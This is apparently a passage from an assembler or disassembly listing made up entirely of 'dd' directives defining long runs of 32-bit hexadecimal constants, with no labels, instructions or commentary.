		dd 0C4A865E7h, 0B907F022h, 71214BEFh, 819B0BF7h, 0F6E99C44h
		dd 18FA80E0h, 0A05FCFF2h, 0FC25E76Eh, 0F46481AAh, 6471BDF9h
		dd 0B08A1DE0h, 4C710A8h, 26FC1578h, 0D027169Ch,	59127C90h
		dd 9C74805Eh, 30C86969h, 10BEBB60h, 0E0CB4802h,	0BEB38Bh
		dd 0F6401954h, 631E4230h, 21CCF730h, 96C0F3B1h,	1FF8014Ch
		dd 0E6D11A42h, 0D340B871h, 4913FC78h, 5C12D85Eh, 0B1E2000Fh
		dd 6C171FE6h, 0E4457F5Eh, 18C8AD02h, 5DC6406Dh,	7704AF01h
		dd 9E5EB4E1h, 5A5F2089h, 3D0C9405h, 19D9F920h, 30EAD031h
		dd 72793C28h, 78221546h, 3C2EA103h, 80B609BBh, 3AB479E9h
		dd 8A811D50h, 992F4219h, 90682471h, 4EE18807h, 0ECC00B0Dh
		dd 2DF2E9Fh, 0E816A94Ch, 785497B1h, 0E007548Fh,	0DF269895h
		dd 0E29600A8h, 889AF97Bh, 0C801CD3Ah, 7FFF78F4h, 0C6FD2957h
		dd 97794210h, 9C5BAC03h, 896DFEF8h, 81827BE6h, 0AB831219h
		dd 177E50E0h, 0D081C0DEh, 0C9610E35h, 0F4389032h, 0C80049C8h
		dd 0BEFB8D11h, 987ADF97h, 806DC1Ch, 0CAD1740h, 0B4A4B0h
		dd 6F208EF0h, 0E6C57C33h, 0FA0FB091h, 1A09E22h,	4D341E4Fh
		dd 0D4F37F11h, 985BAF94h, 96C9D840h, 78E957Dh, 9E694AC4h
		dd 7BE46018h, 90910BDh,	0C0CE1B76h, 497E150h, 0DCFA497Dh
		dd 392480C6h, 68F041B5h, 0F210DD60h, 5031B65h, 0E3BE6073h
		dd 4A48026Bh, 0E7046DF0h, 0C77CC8h, 6BA83219h, 19B84EDh
		dd 0C575090Ah, 304364E5h, 3E397969h, 0E0006072h, 44F98764h
		dd 0D53C4B67h, 75D803F1h, 81F7F049h, 10E8CB6Fh,	87B3016Bh
		dd 44AD147Dh, 0F4B6E00Fh, 0E73120Fh, 9C57008Ah,	155A10F6h
		dd 14764B99h, 0A06C8CFh, 2003074h, 1342BF70h, 0F4CA57h
		dd 0F19C1475h, 4ACB5F06h, 0DC6D1200h, 0B26B46D9h, 6DD9047h
		dd 5B0CF5F0h, 0B6E818FDh, 70FF4A0Eh, 6902E7B0h,	289D804Dh
		dd 875C03F2h, 0ADA0034Dh, 5B610145h, 0B7571178h, 449A3186h
		dd 75E05903h, 150CBE53h, 84D90Fh, 0CB6D0DF6h, 75A05EEh
		dd 6B1145BFh, 5606D19Ah, 0F29800Eh, 57BDB8D6h, 186F784Fh
		dd 186BD510h, 0CA0FAED9h, 0D46E890Bh, 0D3690018h, 53283570h
		dd 0F240EA2Eh, 8BD20332h, 61F75955h, 0DB446FD9h, 294C5AC8h
		dd 2BF0AC06h, 1852C4h, 0D0A4D95Eh, 2A375804h, 53D41018h
		dd 6982EB9h, 0CA670B0Ch, 44007003h, 347D9A8Eh, 0C0723BABh
		dd 86F61298h, 0F97A2A0Eh, 65EE2C40h, 88FA1DFh, 59865318h
		dd 0D8682837h, 27F169E0h, 70E831C2h, 8CFA8F92h,	78F059F4h
		dd 564A884Ch, 363C7990h, 0F64055D7h, 8C47DD05h,	6642CDC9h
		dd 362C83CAh, 71811892h, 108C796Ah, 11462CA1h, 0F3600492h
		dd 95530C13h, 48200D2Ah, 0C0AF4205h, 0D008294Eh, 316AC4AEh
		dd 6C182917h, 24C0AB0Ch, 61F1305Ah, 1C2CB901h, 0F26980CDh
		dd 6D0473A4h, 0C80F664Fh, 0C0F9952h, 8E45D8A9h,	96F19829h
		dd 649C19E7h, 61373003h, 56189596h, 3FC8144Ch, 0CD844058h
		dd 12681144h, 0C1654D3h, 0B2B97418h, 2F57D218h,	62CA7131h
		dd 0A2721846h, 51AC4C85h, 4E3AE858h, 0EF129240h, 2818FF48h
		dd 0A087539h, 9D430491h, 0BC688A4h, 74604956h, 8021B8B6h
		dd 23976434h, 7A2BE426h, 2A9C2386h, 13ED5032h, 0E2882B9Ch
		dd 106A7644h, 0FCA2EDA4h, 841A9E11h, 0F628ECC0h, 0A1C64684h
		dd 110ADAB8h, 0EE10C148h, 4290FC47h, 425B882Ch,	881F4816h
		dd 0D0511E48h, 9F3E7842h, 14CC0828h, 640CEEC2h,	86C915Ch
		dd 0F5936CD5h, 0A4F46023h, 0EAE0807h, 0E5EA2198h, 61393436h
		dd 8C484C40h, 0BC607022h, 0E5D37509h, 905F6481h, 28245C54h
		dd 8E8F2F40h, 51B1C89Bh, 7AC4E8Fh, 86C969AAh, 29102DA8h
		dd 0A13838ABh, 31EE9058h, 0B9E7951h, 5336E18Ah,	0E6AC03Ch
		dd 6860D51Fh, 94DB4A11h, 72A0A404h, 9364998Ch, 424824B0h
		dd 0A1B2F880h, 1914A090h, 12CD6712h, 4BC0F831h,	0EA277D02h
		dd 263633h, 0EE3D8D11h,	3A8FFC7Ch, 841D4F00h, 985C68C7h
		dd 0C46D0019h, 0FFA4E562h, 0E7E22880h, 8E08F40Ch, 4460DEh
		dd 0DA90E431h, 0F622F201h, 7F4831Dh, 0E9E5E00h,	60AD1C95h
		dd 1676804Ch, 79C02437h, 0C5417F5Ch, 5BE80075h,	0CE0D88A9h
		dd 4A008E1Eh, 0AD235813h, 3E662F6h, 0FAA2EFBFh,	0BEE03717h
		dd 0D601D5F3h, 0F572B943h, 68341904h, 0ED0D0FF4h, 14013DAAh
		dd 82303CBCh, 0A2B2D519h, 0FE7CE074h, 0B871004Ah, 0B15C9C58h
		dd 0B42E6111h, 6809BF0Bh, 0C84C01DCh, 0A5D4D733h, 0A01E4C7Fh
		dd 2D10D600h, 0F3614037h, 51B8EF52h, 1D64534h, 43CCEC34h
		dd 36308C2Eh, 0F6BE934h, 0E0917ADBh, 3E4E540h, 683B333Bh
		dd 0AE718040h, 0F19E09F6h, 4521311Ch, 506C8CB0h, 0C23633F8h
		dd 0B8A40200h, 71CFE93Fh, 0EC407A7h, 2988DA12h,	0E14E007Dh
		dd 1D9954F9h, 56E2AFh, 0C855E4ECh, 0C4770AE5h, 0C604BA00h
		dd 5452F08Bh, 1DE10389h, 11D78408h, 0FAE2D6C0h,	0AF83BF0Eh
		dd 288A8C1Bh, 0E310C3BEh, 0FE082D9h, 0DD1F8DC3h, 0DE0008FBh
		dd 0F0D6C41Dh, 0F897F009h, 8E543CE3h, 881EE03Ch, 84C100E1h
		dd 0F81AE5ECh, 0F7B8CD65h, 0EB046Bh, 0C3E0FA9Bh, 5DFDD95h
		dd 1F47821Ah, 781828A8h, 0E1115867h, 0A025D5E0h, 0FB1400F1h
		dd 9F739B22h, 9C3041A9h, 0FE3A1856h, 0D2BD0004h, 0D726A87Bh
		dd 40C3A67Eh, 0E8598BC4h, 0A4A15Ah, 717880CAh, 0EDEB4125h
		dd 0AAC6D307h, 87E98FC4h, 90ECC9C3h, 3D730099h,	0ADD7E727h
		dd 6D00C5F3h, 7E543083h, 9D3F11Bh, 0DCFABF3Eh, 23F74B80h
		dd 18DE0C26h, 9D2003Bh,	7EF8A15Ch, 521330C5h, 0F9CF8D81h
		dd 0D8F62830h, 3CD7F4DDh, 0D53ABE72h, 2C8D7860h, 3A1526A9h
		dd 17CE2ABh, 872FB04h, 31EDD2Ah, 0FD77B63Ch, 71E7C7D4h
		dd 0F19F06EFh, 288EEE68h, 31B04B7Fh, 5430FFFEh,	0ABF895B3h
		dd 0AE3A1CBCh, 40B83D4Ch, 0DCE22079h, 3B80CC01h, 0A1E5D471h
		dd 0AB7285E0h, 3147A1D4h, 114F8C5Ch, 0E3E8ECF9h, 92801D0Fh
		dd 9BFD6C9h, 103F08h, 0B3034E9Fh, 78B46EBAh, 3C1901A5h
		dd 0D7485833h, 0E803E1A2h, 7E65CC66h, 480A7D89h, 0C912B0A9h
		dd 45312C72h, 83A17964h, 3E084359h, 0EE13E0BDh,	391B87Ah
		dd 785F9F6h, 55A8D7A4h,	0E003DED6h, 11E18FD9h, 0A5F1C3DBh
		dd 0B096788Ch, 89551650h, 3541FDDh, 0A3783DAFh,	92D9E4A0h
		dd 0BA24F002h, 985DB7EAh, 1B11444h, 516968DAh, 4C6A3783h
		dd 723E9E04h, 0C6B299Dh
		dd 10A08A0h, 20D793BEh,	0C2987315h, 19F66205h, 18F3F16Fh
		dd 4D10CA27h, 0E48974A0h, 0C11194B1h, 8F3CA38h,	7048BD64h
		dd 302B959Eh, 7A62542h,	51104A49h, 29CB132Fh, 0A3107F11h
		dd 0B7203E08h, 91B17080h, 364188A1h, 2ED1F89Ch,	0C33C01B1h
		dd 1022073Ch, 5508070h,	0A113F264h, 0F513F6E4h,	44F40922h
		dd 0F189F2F3h, 0EF24F012h, 0ED91EE48h, 0EB44EC22h, 12E989EAh
		dd 48E724E8h, 22E591E6h, 0E37CE4h, 1A66F59h, 0E7A07304h
		dd 70C13E63h, 7EB829A4h, 2EF06584h, 0CFBBB104h,	0E0690843h
		dd 73BEDF6h, 721AF7A0h,	5ACFD3A6h, 70D166E0h, 0B2008C77h
		dd 0DCF6A171h, 1DFD4E3Bh, 1D26724Ah, 1E1E1E52h,	8040343Ah
		dd 9762A6FEh, 86A75C00h, 0CF2F70CCh, 9DCF8D2h, 1E0CEF5h
		dd 0E87F484Dh, 59F57F04h, 14302EA3h, 3EA47829h,	9EA50EFAh
		dd 4DE38863h, 0A8380842h, 84C308EBh, 208102FFh,	21018351h
		dd 94509BCh, 0FA040B38h, 40FEA0AEh, 8B5000DCh, 72D2849Fh
		dd 0CC617304h, 0A8BDC521h, 94B0384Ah, 2F039236h, 0F55233E7h
		dd 7EE2E1BCh, 685A1880h, 70BB7824h, 0F23AEDFDh,	0CE3C1C87h
		dd 30A1D8C0h, 0A3525315h, 53462F28h, 0B2C883E4h, 411E3113h
		dd 30F31078h, 3205E066h, 9EB50077h, 0FBB4191Fh,	0A803A706h
		dd 0A3DA1DDFh, 88C6C00Eh, 0EC3FAECh, 65730C84h,	5411F080h
		dd 1D00FE99h, 0FD48056h, 1CFB5C3h, 0E19D530Eh, 0D09975EEh
		dd 9333BFECh, 0A7B080F0h, 0E39D7AC0h, 405261F9h, 0F0825509h
		dd 883E5FE5h, 40A8AAF5h, 521EE0F8h, 6700EE95h, 0DC1E11F6h
		dd 0A6E37891h, 65720230h, 0C3DFDA8Ah, 9D601C98h, 1CFDD44h
		dd 0E388D83Eh, 4C8AD9E0h, 0ECA5F660h, 897EDC51h, 9DC4CCA4h
		dd 834FEE0Ah, 0F6CB18CFh, 0A57E60A4h, 8512192Dh, 302CE044h
		dd 1DE11D88h, 1FDE00C7h, 16E9F695h, 0DA9C1A14h,	15CFC038h
		dd 1EBC8CCh, 0F187DB1Bh, 5D9ADC11h, 0A7401C14h,	24EB9B00h
		dd 0E3DBAFCBh, 2A9574C6h, 2F8D916h, 2D4783DAh, 9C65F693h
		dd 2A004E5Dh, 610A275h,	0EFAF4E9h, 0E100D2F8h, 0DE855516h
		dd 9889C3EEh, 92CB3E34h, 1E74004Dh, 3D1CCDFh, 0EB850372h
		dd 0E29880C4h, 0C00151E3h, 84C415A3h, 4030ECD4h, 281660DEh
		dd 9A545CCFh, 502033F1h, 1E3AEB6Ch, 0EC90F756h,	0E3488378h
		dd 0A1C3C174h, 90935423h, 0BA04EC72h, 0B34894BCh, 87DA0030h
		dd 867252E3h, 0AC114AF3h, 5840B598h, 0BFE0F2D6h, 954B080h
		dd 0E6FED81Ah, 1DDED081h, 11DBE01Ch, 0AF91DD04h, 0C0C353EEh
		dd 0EC8EA152h, 3A7F08E0h, 903CEDDAh, 7B8C48h, 89C410BAh
		dd 83BFE4D4h, 0C72670B0h, 102FC82h, 40E1AF85h, 3CF9D8A0h
		dd 0ED188354h, 0BF1B60C0h, 58D4AC90h, 0C3E512B4h, 40D819ABh
		dd 81D9ECAFh, 0C8DE10E8h, 5A95783Eh, 0DA842FD4h, 0A03194F1h
		dd 0B32ADFD4h, 28F5EFD0h, 863CD8F8h, 890817F0h,	5124D430h
		dd 52F3167Eh, 9D6033C3h, 0D6987ADBh, 8538081Dh,	0D2B8C9E0h
		dd 0F8B03CAEh, 0DC1D1C98h, 0DD0054E3h, 0AF88C3E2h, 54F7C0Fh
		dd 82D9E4EFh, 0FF7C85D7h, 0CFC87071h, 0E8AF0C3Dh, 0F0A31694h
		dd 3DC4490Fh, 0B485AC09h, 8E49CC3h, 8B0C954Dh, 25B00FC5h
		dd 0DC8392D8h, 0D887A4C3h, 0EDB19347h, 0C4629955h, 8181C48h
		dd 0DA850997h, 0E4A5C4B0h, 55508318h, 0BC0B095h, 0EED6EA9Eh
		dd 0E3E72081h, 1D103053h, 0D9ED69C7h, 0A2E6F1F3h, 2920E483h
		dd 692CDFDAh, 0C39E3C0Fh, 0EC82551Dh, 4734C1ACh, 0AFF880E4h
		dd 0DF89D91Eh, 56CB8EDh, 0EABD24E1h, 801834FFh,	0CFB75150h
		dd 5DDF0CBEh, 9D9ACB01h, 846C7915h, 50EB029Eh, 9E1CCF92h
		dd 7818217Ch, 0C8B0DF9Fh, 0ED108202h, 0D1E388C3h, 7401F450h
		dd 53FAFE99h, 0D860F382h, 64FF5D88h, 0C3E6D402h, 40A5F08Fh
		dd 44F8E264h, 661D5250h, 6207F4A6h, 829BE184h, 5DFAE520h
		dd 7EC2F068h, 931F449Eh, 88D9F9C4h, 1D2D3CF2h, 14F6D410h
		dd 0B9541E00h, 84BFECDDh, 0DBE41EDAh, 72EE0091h, 0C7F9E19Dh
		dd 90B8947Ah, 19FFB707h, 2CC8B307h, 0C00A0650h,	9303218Dh
		dd 9D56EF47h, 87BF89EEh, 0F025503Dh, 2CFC8B0h, 0FF68D761h
		dd 0E070B164h, 0E080A1C7h, 3EB2344Bh, 0EEBAF8E3h, 34A150FBh
		dd 87DB177Ch, 1A90DCDEh, 0F388C614h, 0FD607F0h,	13405E03h
		dd 0E68756E1h, 8E501852h, 0AF321D4h, 0EC84540Eh, 0C8958A0Fh
		dd 32E8D625h, 0E0D99490h, 0C2797209h, 97381A80h, 0EF00EE10h
		dd 0FFE384C7h, 0F9F8C274h, 3007B094h, 3C42B577h, 1C4255h
		dd 0F9D781DCh, 1C20C0DCh, 11E18250h, 0D413C574h, 0B885DAE3h
		dd 50A8E0DCh, 0A364C4B6h, 8C42E580h, 51B50748h,	8DC180ECh
		dd 0A8081EDDh, 0DE88D8D8h, 0A1DCA3DFh, 0D0436452h, 0DB403CEEh
		dd 0F4C834Ah, 5104C1D4h, 11804277h, 579B0840h, 0B094BA28h
		dd 8F05454h, 1CDD8F05h,	0DCF3B6D9h, 19C41A28h, 0E99208E5h
		dd 92550284h, 0A3DC9858h, 0B06096F6h, 9B855630h, 0D423515Ah
		dd 0DCE29897h, 11EE298Dh, 6432A5F4h, 21EBF07Ah,	3E303820h
		dd 957101EFh, 9D53EEE1h, 0C07AE89Ah, 0C588F004h, 0B42FBF20h
		dd 0DAA480FAh, 4C7F541Ch, 9A0FDCECh, 9140FA02h,	3DE4C6CFh
		dd 3851E1Eh, 1BFE3400h,	0F7BD2CCh, 8CCB37C1h, 5A5736E3h
		dd 0B5C0511Eh, 0D481ADDEh, 0B8796325h, 75B76980h, 5792E12Ch
		dd 0FC7EC07h, 40AEC0ADh, 252A1AB0h, 43640041h, 0ECCDF1A0h
		dd 8D1E749Fh, 0D31D1771h, 0FDE55300h, 27363CFFh, 20403587h
		dd 290023D8h, 6AA15AB8h, 1C9CBC2Dh, 0C372D3F5h,	0EBEFE79Bh
		dd 20029DC3h, 776BE1F7h, 0F2209EA3h, 43008C7Fh,	0B339F810h
		dd 0E83A4D13h, 0FDF60CBEh, 7D9A47Ah, 2A8EA007h,	7DF3B21Fh
		dd 0C092526h, 0A6672040h, 9BB68E07h, 0C8C0B135h, 3D878D4h
		dd 6D8D73F3h, 0E001F0B8h, 0B650F552h, 0B047C7A7h, 1BE8340h
		dd 8C6B1674h, 3A4C20CAh, 0B74BF961h, 8D3DA4E8h,	1C4E9E14h
		dd 3E12BCC8h, 0D63ADC90h, 0B84D00CEh, 0EA23A87Bh, 7500C22Ah
		dd 420B2282h, 22E8C790h, 9E7DBE0Eh, 3900C6F8h, 0B7A9798Ch
		dd 7D8840EFh, 76DB06ECh, 98C83281h, 1A13D90Ah, 7415A0BCh
		dd 464BB868h, 3AE0A2B9h, 8802CC07h, 158E9B60h, 308A461Fh
		dd 0A96221B1h, 7274058Eh, 2EAC3947h, 48C7620h, 8841961Ah
		dd 565C8145h, 0D842458h, 8F07CE79h, 34A9B820h, 6F8DE76h
		dd 57A7A8F8h, 5101297Fh, 0D9E7336Fh, 0F0C5D264h, 21560998h
		dd 33077731h, 2EC6676Fh, 0D3B0331h, 4EB94420h, 0B8F0D071h
		dd 0E90977C4h, 15247BD4h, 0CCE310A4h, 14C46972h, 0E419148Bh
		dd 1781F802h, 1C997370h, 640F02EDh, 9298A11Ch, 0A1E0911Dh
		dd 0ED33C980h, 0EF8C54D9h, 33713B10h, 49693Bh, 97735F98h
		dd 67B127h, 0D56275C1h,	0EA28C5D1h, 42881D61h, 8183F038h
		dd 0AEE58D6Eh, 0E8C6C0C7h, 0D228456Bh, 6D0C08B5h, 380ABE3Dh
		dd 1EB3BFEh, 0E21404CDh, 0D0119459h, 0B5ED0121h, 0E8D7FEA7h
		dd 0B4233427h, 81E5408Ch, 5FEC12DCh, 729C0712h,	14B7C06Fh
		dd 11018F50h, 40FFF1EDh, 58503944h, 81A6EE45h, 0FF382028h
		dd 9E1F7A43h, 0A21F088Eh, 6540B0C4h, 0C6798EA4h, 0D7D2180Fh
		dd 0D9E400FCh, 0F98BD33h, 8C6CA15Ch, 3958E960h,	3C04E8D8h
		dd 0EDAF89D5h, 0E7D3C480h, 0B48280D4h, 0C88CFE4Dh, 0B3360169h
		dd 84B62710h, 9F8E55B1h, 4F111014h, 28DFE21Bh, 19607020h
		dd 24E71D8Ch, 0D56B4584h, 38C40054h, 0E4413DB3h, 93102560h
		dd 98CBA3FDh, 90740904h
		dd 3500624Ch, 0F83D1CEDh, 23CE970Ch, 0C6D8FDh, 8F143F8Eh
		dd 47D8EC65h, 814C911Fh, 4312AB5Eh, 22F61C30h, 80C924Ah
		dd 0A6CA1372h, 0C5BA893Eh, 0E458FAA2h, 88226795h, 4ED120E6h
		dd 1B016192h, 6C5F556Bh, 2060D3EFh, 0D9C060C1h,	0E23C437Eh
		dd 0BA0F69C4h, 90EF2490h, 17CA3F83h, 6DA6C300h,	7C7628B6h
		dd 37CD3901h, 97F46386h, 20EBB060h, 6B03D4F6h, 0F9239ACBh
		dd 0A0602699h, 0CD4F0A24h, 0F0BF0088h, 75377EFFh, 0E2988D51h
		dd 0CFD8689Bh, 0F4613F0Eh, 0AFE9D791h, 7E86DD8h, 1376A35Eh
		dd 21DB465Fh, 0DAF0BA0h, 8AF8DA60h, 0EE4232B9h,	0CE360CA5h
		dd 6E78C80Fh, 0C807153h, 41FD1F42h, 0B080E8FEh,	0D4791D2Ch
		dd 9A55094Eh, 0CBF7D024h, 0C069C87Ch, 30D86AD3h, 12C48A58h
		dd 8309528h, 6238E764h,	0BA783141h, 0E180DCA9h,	0DBB8627Dh
		dd 10256900h, 50285A14h, 0E397008Eh, 72D93A38h,	0D2540E75h
		dd 1600ADD0h, 17349BE5h, 3A4EF404h, 0AA33033Fh,	0E4801021h
		dd 0DF07D58Ch, 0CDDD291Ch, 0D7D83C50h, 0A4594933h, 888CE809h
		dd 36A818D5h, 0DA8728FEh, 793A1EE8h, 0BC1871B0h, 0B124CBC2h
		dd 17414C3Eh, 0C8C0DC29h, 0A98B19BBh, 1876A826h, 9CE50827h
		dd 0C1C40F34h, 0E401C05Eh, 1E6521ACh, 40497918h, 418BC689h
		dd 80A33AE2h, 3BD9F904h, 6C60933Dh, 211A12A9h, 0DB3FF48Ch
		dd 78A9672Eh, 86F7EE74h, 54226E27h, 11146AD8h, 0BB0F18E2h
		dd 0FC68A8B1h, 0E5980073h, 0C8B0294h, 14E00B2Fh, 0B496C902h
		dd 49DD13ACh, 3C2369F0h, 8CF87209h, 3C0F7017h, 3801FCECh
		dd 69C2A21Eh, 0A884DC40h, 67603E8h, 4D4392C3h, 0FDC5F051h
		dd 0FE188705h, 9F537145h, 0F94100DDh, 5F15C28Fh, 3C192384h
		dd 0ED08B558h, 0A71B2180h, 65402BC2h, 86960638h, 0F4A8D543h
		dd 8B370C50h, 91681B3Fh, 6530AA00h, 5AC46269h, 183B6054h
		dd 0C007FF7Bh, 0D9507560h, 37A5851h, 5C43D830h,	930F0DDh
		dd 6FB12149h, 4B29077Bh, 0D1CBAB7Dh, 83E5E0BCh,	0B4DBA871h
		dd 3E10CE04h, 39606147h, 0FA14ACDAh, 5AC118C1h,	404E02C3h
		dd 0F4C06588h, 6268D4D8h, 0E7A15007h, 8B5C88A0h, 0F8E96B26h
		dd 0CC00C217h, 0FE554586h, 0E1EEC933h, 80FFB858h, 486A073h
		dd 5F12C28Ah, 0B0EF628Ch, 54BBE8h, 78DBB448h, 0BE1FFA6Dh
		dd 832EC73Eh, 46AD5E37h, 0A13019D9h, 600739E6h,	8700C556h
		dd 16E3CAD4h, 298226h, 2261FB73h, 64D66E37h, 5F9CF654h
		dd 745E5944h, 3451C481h, 0F3718063h, 660077E0h,	937496B8h
		dd 48C3A836h, 1314AA5Ah, 888AC2Ch, 2F7A59C0h, 226B46D8h
		dd 70B00067h, 0E11F7F7Bh, 77305B7Dh, 0BEB6484Ch, 37241F03h
		dd 0C7CD8279h, 57E2BAEFh, 62C15821h, 3006C3F3h,	165B84DCh
		dd 5C410818h, 6E0C469Bh, 4193A0F1h, 0A8084150h,	415F08E9h
		dd 0D4944152h, 0A07E02EAh, 75528644h, 276700CFh, 0DCF4E03Eh
		dd 7700E244h, 0C97FDA88h, 15D82212h, 983B07A3h,	322F5800h
		dd 552BC05Bh, 1BB90419h, 21804C08h, 0D3322DFAh,	961FACC1h
		dd 0C71C85AAh, 9585318h, 0C529C03Eh, 75BED758h,	70DFC22Ah
		dd 0C2A070C8h, 0C4853230h, 0F9382823h, 9C322612h, 50FF5405h
		dd 8C408C20h, 8028523Bh, 0AC052014h, 0CA2DB784h, 14FF3F14h
		dd 808004F4h, 0A738D62Dh, 6448A521h, 0C425604Eh, 0E40930Bh
		dd 0C9A09618h, 0F9DAF086h, 1D3C27F1h, 0FF00AE70h, 0D8C75F87h
		dd 0A988C158h, 4057C6BCh, 0F7DA3BD0h, 0B2062493h, 0E81E1D5Fh
		dd 0CF650C95h, 61385658h, 7ED41F00h, 0DCD773ADh, 0FF51C180h
		dd 4A036Ch, 9204D8EAh, 18BF0484h, 0D85CCE43h, 0AC76D864h
		dd 9444E44Ch, 0FD385171h, 23882227h, 7A5F030Eh,	5BEAD839h
		dd 0B6106419h, 7E67A56h, 0AB754A1Fh, 0F79B88F0h, 0A0646004h
		dd 0A4960B45h, 0C15CF00h, 3F20878Bh, 0C2AD1283h, 399060B1h
		dd 36520F8Ch, 0D74C10F0h, 0A160C52Ah, 28262104h, 0A04011E2h
		dd 14912823h, 0C4D6FC40h, 1B414484h, 0B91402EEh, 8450A8C2h
		dd 9CC57461h, 4C47E028h, 992E057h, 0F498A4B8h, 0D56FF7Ah
		dd 85E3DA8h, 0C493D83Ah, 75B74066h, 335777Ah, 0F1277961h
		dd 0C1ECC10Ch, 8ECB404h, 104C4C37h, 28E1539Dh, 2E13B204h
		dd 0AC4AD7B8h, 0A100F33Bh, 1C6789Bh, 0AA310952h, 1C21FEBCh
		dd 244CC7DAh, 0CC19ABE8h, 64183CC2h, 3066823h, 31656F75h
		dd 4D32002h, 48F8F75Fh,	30CD0150h, 59205876h, 373EFC2Ch
		dd 470B70DFh, 2101025Dh, 0F2C0B470h, 8C60EC49h,	463C9242h
		dd 7A5D020Ch, 318BD833h, 74B41065h, 0A118057Ah,	40DABB2Eh
		dd 98CF0874h, 470F6F91h, 818B1E9Ah, 37FFDAEAh, 0E88A0820h
		dd 4418B039h, 0C801B93Dh, 2ABF9D23h, 0A0242CF9h, 0D4B00D3h
		dd 4A1F04FBh, 6102E6ACh, 6D48F0CAh, 31E0481Bh, 37890590h
		dd 9970713Fh, 0FC2EC90h, 11B45F23h, 0A11900F1h,	9BEAC7C2h
		dd 651D1C18h, 483E13DFh, 63804BA8h, 7578BE41h, 0EA7000D0h
		dd 1917C0Bh, 6D07FD8Fh,	25AFB3FFh, 624ECD01h, 2F3F9096h
		dd 0F223D4h, 94979BE4h,	0CF248AC0h, 0A042C027h,	463000F5h
		dd 0B80E876Eh, 458D36ADh, 98D3FB8Bh, 9E801004h,	1C59004Ah
		dd 6197C2E2h, 5D3206BFh, 0D847162Fh, 0DE06ADE0h, 938BCF2h
		dd 4DE858h, 650B7048h, 0E188B930h, 107098D4h, 0DC022A27h
		dd 5B83DE9Ch, 8DADA840h, 92BA570Bh, 710C2073h, 29294E94h
		dd 0C020B7A2h, 0B1907ECDh, 0E21E52E4h, 9F3EFB03h, 860F9493h
		dd 49C0BDABh, 0AAEB1A09h, 0C31233AFh, 2100A708h, 2649D3D6h
		dd 7EC92D0h, 0F5576A2Ch, 8BA89036h, 0E80697B2h,	8279FE86h
		dd 9E910030h, 7EC6EE1h,	9519CFE3h, 9908CAFFh, 0D9C12180h
		dd 8AD63C6Eh, 73231D00h, 71114809h, 51371D7Eh, 0E49E8EDFh
		dd 0EAA58F3Eh, 80314C05h, 0D8B18DBEh, 5D44091Fh, 138C8540h
		dd 4F7652h, 683C1C3Fh, 958498D4h, 0C1963230h, 7A75FFF7h
		dd 3C7D0C81h, 1138ACD9h, 0F0AF4B01h, 0C1A31638h, 68DC883h
		dd 380091ADh, 404F90A0h, 3F6D52F2h, 0CB8FB95h, 8896CA8Ch
		dd 48011240h, 7F5816E9h, 388FAC1Ah, 0B73D310Fh,	60FFE0A8h
		dd 96E811B3h, 9D463800h, 797B58Bh, 0A295301Ch, 3BC20188h
		dd 0B8D02C37h, 3A07C90h, 7E94A087h, 0AF311413h,	0F707E083h
		dd 3F2F4F09h, 16BA8C01h, 849102D3h, 0DE60FBC0h,	721E96Eh
		dd 0D6BEC0CBh, 0D500796Eh, 6788F8E7h, 1504111h,	0DB371AF9h
		dd 0B15E0C45h, 1586D9E9h, 606ED0D0h, 0EBCB11AFh, 3403E141h
		dd 2C8AA2E5h, 0C50830D5h, 41E3ED21h, 0D0CDE00h,	9A1FE6C4h
		dd 1D441901h, 91ABF8C2h, 3800EAE8h, 393C142Ah, 84299BB1h
		dd 7077086h, 384C0144h,	7C4E3A2Eh, 107ED850h, 0CD22F95h
		dd 319279ABh, 19120089h, 27324FD1h, 0F10020E7h,	0AC981E3Eh
		dd 17E38DEh, 3DF71268h,	20EA0E39h, 580A7D34h, 0C4C84004h
		dd 6F7E4930h, 0E2D1C0B8h, 832F6CDh, 571E2400h, 27171CA7h
		dd 6094EE37h, 12E490ACh, 7E8F187h, 6F8C7A00h, 0B82C66EDh
		dd 54A119E7h, 8F65B083h, 0A3B14B61h, 0E0DED30Ch, 310A906Ah
		dd 14880D56h, 90E618CDh, 0DC551D38h, 0A16E4066h, 6D4420Ch
		dd 7F996912h, 8D911001h, 0D84CDB0Bh, 0E9048CCEh, 0D534DF41h
		dd 0EB20C662h, 7641E1h,	18D15AA9h, 9617B840h, 0B0972C2Ah
		dd 0D00BBA0Dh, 0C85C98BBh, 4D70FFh, 13F2AD46h, 8F6ADA17h
		dd 5A3E5890h, 0A1AC13ABh, 30FD1422h, 0EB116EE0h, 9788DB07h
		dd 6ED8C080h, 6ADC6Fh
		dd 0DE48AA45h, 93B41E36h, 0B9D750C0h, 0DFAF5638h, 0AB040688h
		dd 18C4A0E6h, 0E414AC02h, 0E9BF6F18h, 0B0005E0h, 0F5A8E7EBh
		dd 389C4C8Bh, 573FBC67h, 28CFA300h, 0F078115Bh,	808AE624h
		dd 927B03BCh, 16DCB80Bh, 1A491360h, 0A8416006h,	0F9DF19DDh
		dd 33F61A0Bh, 0D5D840ECh, 343A49h, 0B6B10A5Ah, 5C36D981h
		dd 16577E05h, 0DC60D591h, 12E641F0h, 2CA30D34h,	0E800F2B4h
		dd 4FDA0541h, 48D5C46h,	0D10C086Dh, 1BBA0297h, 67A8A298h
		dd 6428489Bh, 330C00DDh, 0A9C10959h, 0D107CCA0h, 96ADFC03h
		dd 57256D60h, 8740989Ch, 67ACC474h, 0A16E0DC3h,	0C6C4CD28h
		dd 92500011h, 5912FBD3h, 0C8773879h, 204B68C9h,	5135A064h
		dd 0D670C8FCh, 449E1CEh, 0AC4EC31Ah, 49CED100h,	9AF765D0h
		dd 79A76601h, 82966910h, 141F1022h, 6F8485A3h, 85A041BAh
		dd 0F35C986Eh, 0EC82AC90h, 70AF270Fh, 0D9CE6294h, 102CC00Bh
		dd 48E883B8h, 50C08C22h, 4185D8F2h, 10A960FAh, 0AC1C1392h
		dd 700928C0h, 44DE9Dh, 967A2888h, 8E8C4E36h, 0DF045C90h
		dd 0FEF9ABF0h, 4D89E0C8h, 1332E415h, 58902B99h,	0B8B0AAD6h
		dd 13078D40h, 391490Ch,	841671D0h, 0C50218DEh, 2FEF32EEh
		dd 9BC4C4Eh, 0CCD00C0Bh, 61AA0800h, 46E886E9h, 48871C2Ch
		dd 12577D07h, 64ED7770h, 0C3AB0C20h, 0BA88C87Bh, 0A9BF1430h
		dd 68D53B87h, 422048A4h, 2C499866h, 11E9CC44h, 1B6A021Ch
		dd 0ED4F8A87h, 0C3994591h, 0E0439F21h, 0DD0ABC5Ch, 9E8A08A0h
